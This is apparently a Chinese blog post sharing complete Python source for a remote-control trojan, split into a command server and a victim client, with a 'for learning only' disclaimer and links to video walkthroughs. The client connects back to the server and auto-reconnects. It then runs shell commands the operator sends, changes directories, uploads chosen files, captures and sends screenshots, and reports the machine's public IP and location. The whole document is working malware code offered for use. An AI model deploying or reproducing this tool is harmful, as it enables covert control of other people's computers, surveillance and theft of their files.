声明:该源码仅用于学习交流,请勿用于非法交流
哔哩哔哩上有视频讲解,点击括号内的文字传送(服务端讲解)
客户端讲解(客户端讲解)
#服务端
from socket import *
import threading
import time
import json
import os
s = socket(AF_INET, SOCK_STREAM)
s.bind(('127.0.0.1', 7777))
print('默认ip:127.0.0.1,端口7777')
s.listen(10)
data_list = []
def winjin():
while True:
time.sleep(10)
jiace()
def jiace():#推荐改为手动调用
rebs = 0
while True:
if int(rebs) < int(len(data_list)):
try:
for i in data_list:
i.sendall('wbsx=='.encode('utf-8'))
rebs += 1
except:
print('短线机器编号:{}'.format(rebs))
curs=('ro_0_{}'.format(rebs))
yichang(curs)
return
else:
#print('正常在线:{}台'.format(len(data_list)))
return
def tcplink(sock):
while True:
try:
recvdata = sock.recv(1024).decode('utf-8')
if recvdata == 'dawnjianchuanshu':
Server_Recv_File(sock)
else:
print(recvdata)
if not recvdata:
break
except:
break
def Server_Recv_File(socket):
print('准备开始接收文件')
# 获取客户端发送的消息头
msg_header = socket.recv(1024)
header = json.loads(msg_header.decode('utf-8'))
# 输出客户端发送的消息头信息
print(header)
# 保存接收文件的地方
curr_path = os.getcwd()
filename = curr_path + '\\recv_' + header['filename'] + header['msg_type']
get_file_Size = header['msg_len']
file_size = 0
# 输出文件名和文件大小
print('文件名: {}'.format(filename))
print('file_size: {}'.format(get_file_Size))
recv_count = 0
# 如果文件不存在则创建
if os.path.exists(filename) == False:
with open(filename, 'wb') as fp:
while file_size != get_file_Size:
message = socket.recv(1024)
fp.write(message)
file_size += len(message)
print(file_size)
recv_count += 1
else:
with open(filename, 'wb') as fp:
while file_size != get_file_Size:
message = socket.recv(1024)
fp.write(message)
file_size += len(message)
print(file_size)
recv_count += 1
print('接收次数: {}'.format(recv_count))
print('接收完成...')
def run(): # 连接
while True:
clientsock, clientaddress = s.accept()
print(clientaddress)
if clientsock not in data_list:
data_list.append(clientsock)
threading.Thread(target=tcplink, args=(clientsock,)).start()
def post_cmd(): # 主函数
global cmmmd
while True:
time.sleep(1)
cmmmd = input('请输入')
if cmmmd.split('_')[0] == 'cmd':
CMD(cmmmd)
elif cmmmd.split('_')[0] == 'ip':
IP(cmmmd)
elif cmmmd == 'lsit':
print(f'目前在线{len(data_list)}台')
elif cmmmd.split('_')[0] == 'cd':
CD(cmmmd)
elif cmmmd.split('_')[0] == 'get':
GET(cmmmd)
elif cmmmd.split('_')[0] == 'jietu':
Jietu(cmmmd)
elif cmmmd=='lsiton':
jiace()
else:
print('error')
def Jietu(jie):
if jie.split('_')[0] == 'jietu':
try:
b = int(jie.split('_')[2])
i = data_list[b]
i.sendall(jie.encode('utf-8'))
print('已发送')
except:
yichang(jie)
def GET(get):
if get.split('_')[0] == 'get':
try:
b = int(get.split('_')[2])
i = data_list[b]
i.sendall(get.encode('utf-8'))
print('已发送')
except:
yichang(get)
def CMD(cms): # cmd命令
if cms.split('_')[0] == 'cmd':
try:
b = int(cms.split('_')[2])
i = data_list[b]
i.sendall(cms.encode('utf-8'))
print('已发送')
except:
yichang(cms)
def IP(ips): # 查看ip
if ips.split('_')[0] == 'ip':
try:
b = int(ips.split('_')[2])
print(b) # 指定机器
i = data_list[b]
i.sendall(ips.encode('utf-8'))
except:
yichang(ips)
def CD(cds):
if cds.split('_')[0] == 'cd':
try:
b = int(cds.split('_')[2])
i = data_list[b]
i.sendall(cds.encode('utf-8'))
print('已发送')
except:
yichang(cds)
def yichang(cmn): # 移除客户端
try:
b = int(cmn.split('_')[2])
print('客户端已下线')
data_list.pop(b)
print('移除该客户端')
jiace()
except:
print('没有该客户端')
if __name__ == '__main__': # 入口
threading.Thread(target=run, args=()).start()
threading.Thread(target=post_cmd, args=()).start()
threading.Thread(target=winjin,args=()).start()
# 开启3个线程
#客户端
import json
import socket
import time
import requests
import re
import os
import subprocess
from PIL import ImageGrab
def comm():#链接
try:
s=socket.socket()
s.connect(('127.0.0.1', 7777))
tcpclie(s)
except:
print('短线重连中。。。')
time.sleep(3)
comm()
def tcpclie(s):#接收指令
global data
global cmd_bbs
time.sleep(4)
while True:
try:
data = s.recv(1024).decode('utf-8')
#print(data)
if data.split('_')[0] == 'ip':
cassip(s)
elif data.split('_')[0] == 'cd':
CD(s)
elif data.split('_')[0] == 'get':
GET(s)
elif data.split('_')[0] == 'jietu':
Jietu(s)
elif data=='wbsx==':
pass
elif data.split('_')[0] == 'cmd':
c = subprocess.Popen(data.split('_')[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # 利用子线程实行命令执行,可被异常捕获,据悉os.system不能被异常捕获
c.wait()
STDOUT, STDERR = c.communicate()
s.send(STDOUT.decode('cp936').encode('utf-8'))
else:
print('花生壳或主机服务端离线,等待重连。。。')
s.close()
comm()
except:
s.close()
comm()
def CD(s):#快速切换目录和换盘
cdmuli=data.split('_')[1]
try:
os.chdir(cdmuli)
s.send(os.getcwd().encode('utf-8'))
except:
s.send('切换失败'.encode('utf-8'))
def Send(s,filename):#文件传输
print('开始发送')
if os.path.exists(filename) == True:
s.send('dawnjianchuanshu'.encode('utf-8'))#向服务端发送,调用合适的接收方法
time.sleep(2)#安全方法,或者改成判断,让服务端send一下在进行下面的程序
# 首先将消息头发送至服务端
file, class_file = os.path.splitext(filename)
# 获取文件大小
# file_size=os.path.getsize(filename)
file_Size = os.stat(filename).st_size
msg_header = {'filename': file, 'msg_type': class_file, 'msg_len': file_Size}
msg_header_bytes = bytes(json.dumps(msg_header), encoding='utf-8')
# 当消息头的长度不满1024时,使用空格填充
msg_header_bytes += b'' * (1024 - len(msg_header_bytes))
s.send(msg_header_bytes)
file_len = 0
recv_count = 0
# 发送的文件头大小
print('msg_header_bytes: {}'.format(len(msg_header_bytes)))
# 发送的文件大小
print('file_size: {}'.format(file_Size))
with open(filename, 'rb') as fp:
while file_len != file_Size:
message = fp.read(1024)
s.send(message)
file_len += len(message)
print(file_len)
recv_count += 1
print('发送次数: {}'.format(recv_count))
print('发送完成...')
else:
s.send('指定文件不存在'.encode('utf-8'))
def GET(s):#获取文件
bsss=data.split('_')[1]
Send(s,bsss)
def Jietu(s):
img1 = ImageGrab.grab()
timg = int(time.time())
path = '.\\' + str(timg) + '.jpg'
img1.save(path)
path1 = str(timg) + '.jpg'
Send(s,path1)
os.remove(path)
def cassip(s):#获取外网ip地址
try:
addr_ip = requests.get('http://whois.pconline.com.cn/ipJson.jsp').text
ip = re.findall(re.compile(r'"ip":"(.*?)"'), addr_ip)
addr = re.findall(re.compile(r'"addr":"(.*?)"'), addr_ip)
if len(ip) > 0:
ip = re.findall(re.compile(r'"ip":"(.*?)"'), addr_ip)[0]
#print(ip)
if len(addr) > 0:
addr = re.findall(re.compile(r'"addr":"(.*?)"'), addr_ip)[0]
#print(addr)
s.send(ip.encode('utf-8'))
s.send(addr.encode('utf-8'))
except:
s.send(('网络错误,获取失败').encode('utf-8'))
if __name__=='__main__':
comm()